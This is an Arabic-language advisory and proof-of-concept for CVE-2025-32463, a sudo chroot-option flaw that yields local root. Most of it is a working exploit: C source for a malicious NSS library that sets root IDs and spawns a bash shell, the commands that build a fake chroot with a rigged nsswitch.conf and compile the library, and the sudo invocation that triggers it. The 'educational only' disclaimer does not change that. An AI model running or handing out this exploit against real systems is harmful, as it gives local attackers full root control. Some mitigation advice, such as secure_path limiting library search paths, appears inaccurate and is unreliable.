CVE-2025-32463 - تصعيد صلاحيات Sudo

توجد ثغرة تصعيد صلاحيات في sudo تؤثر على الأنظمة المبنية على Linux/Unix. يظهر الخلل بسبب التحقق غير السليم من المسارات عندما يُستخدم sudo مع الخيار -R (--chroot)، مما يسمح للمهاجمين بتصعيد الصلاحيات إلى الجذر عبر تحميل مكتبة NSS خبيثة.

السبب الجذري

• عندما ينفّذ sudo أمرًا داخل بيئة chroot (خيار -R)، فإنه يسيء التعامل مع تحميل مكتبات NSS (Name Service Switch) أثناء حالات الخطأ.
• التحقق غير السليم من المسارات (مثل الفشل في تعقيم LD_LIBRARY_PATH أو المسارات في /etc/nsswitch.conf) قد يؤدي إلى تحميل مكتبة خبيثة بدلًا من مكتبة NSS الشرعية (مثل libnss_files.so).
• ينتج عن ذلك تنفيذ كود عشوائي بصلاحيات الجذر.

الأثر

• يمكن للمهاجمين الذين لديهم وصول محلي استغلال ذلك للحصول على صلاحيات الجذر.

التخفيف

1. حدّث sudo إلى أحدث إصدار مصحح.
2. قيّد صلاحيات sudo (حدّ من استخدام chroot حيثما أمكن).
3. دقق متغيرات البيئة:
   • قيّد LD_LIBRARY_PATH.
   • تأمين /etc/nsswitch.conf.
4. فعّل secure_path في /etc/sudoers لتقييد مسارات البحث عن المكتبات.

التفاصيل الفنية

نظرة عامة على الثغرة

معرف CVE: CVE-2025-32463
الإصدارات المتأثرة: Sudo من 1.9.14 حتى 1.9.17
درجة CVSS: 9.8 (حرجة)
الأثر: تصعيد صلاحيات محلي إلى الجذر

تسلسل الهجوم

1. ينشئ المهاجم مكتبة NSS خبيثة
2. يجهّز بيئة chroot مزيفة
3. يطلق حالة خطأ في sudo
4. يقوم sudo بتحميل مكتبة يتحكم بها المهاجم
5. يُنفَّذ الكود الخبيث بصلاحيات الجذر

خطوات الاستغلال

الخطوة 1: التحقق من الثغرة

إذا استجاب بـ No such file or directory فهذا يعني أنه عرضة للثغرة: sudo -R invalid invalid sudo: invalid: No such file or directory

الخطوة 2: إنشاء مساحة عمل مؤقتة

أولًا، ننشئ مجلدًا مؤقتًا للعمل فيه: TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR يؤدي هذا إلى إنشاء مجلد مؤقت باسم فريد والانتقال إليه. تضمن أوامر mktemp عدم التداخل مع ملفات النظام الموجودة.

الخطوة 3: إنشاء المكتبة الخبيثة

نحتاج إلى إنشاء ملف C (bridge90.c) سيتم تجميعه إلى مكتبة خبيثة:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Set real and effective user ID to root
  setregid(0,0);  // Set real and effective group ID to root
  chdir("/");     // Change to root directory
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Execute shell
}

المكوّنات الرئيسية:

تضمن __attribute__((constructor)) تشغيل الدالة عند تحميل المكتبة

تعمل setreuid و setregid على تصعيد الصلاحيات إلى الجذر

يستدعي execl غلاف bash

الخطوة 4: إعداد بيئة الاستغلال

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c تفصيل:

إنشاء بيئة chroot مزيفة في bridge/etc

تعديل nsswitch.conf ليشير إلى مسارنا الخبيث

نسخ ملف /etc/group الحقيقي للحفاظ على الشرعية

إنشاء مجلد للمكتبة الخبيثة

تجميع كود C في مكتبة مشتركة بأسم يطابق اصطلاحات NSS (Name Service Switch)

الخطوة 5: تنفيذ الاستغلال

sudo -R bridge bridge

تحاول هذه الأوامر استخدام بيئتنا المصنّعة:

أول bridge هو مجلد chroot الذي يحتوي على إعداداتنا الخبيثة

ثاني bridge هو الأمر الذي سيتم تشغيله (والذي سيحمّل مكتبتنا)

الخطوة 6: التحقق من تصعيد الصلاحيات

بعد نجاح الاستغلال، تحقق من وصول الجذر:

whoami # Should return "root" id -u # Should return "0" (root's UID)

graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

إخلاء مسؤولية

استغلال PoC هذا لأغراض تعليمية فقط! لست مسؤولًا عن أي إساءة استخدام قد تسببها بهذا الاستغلال!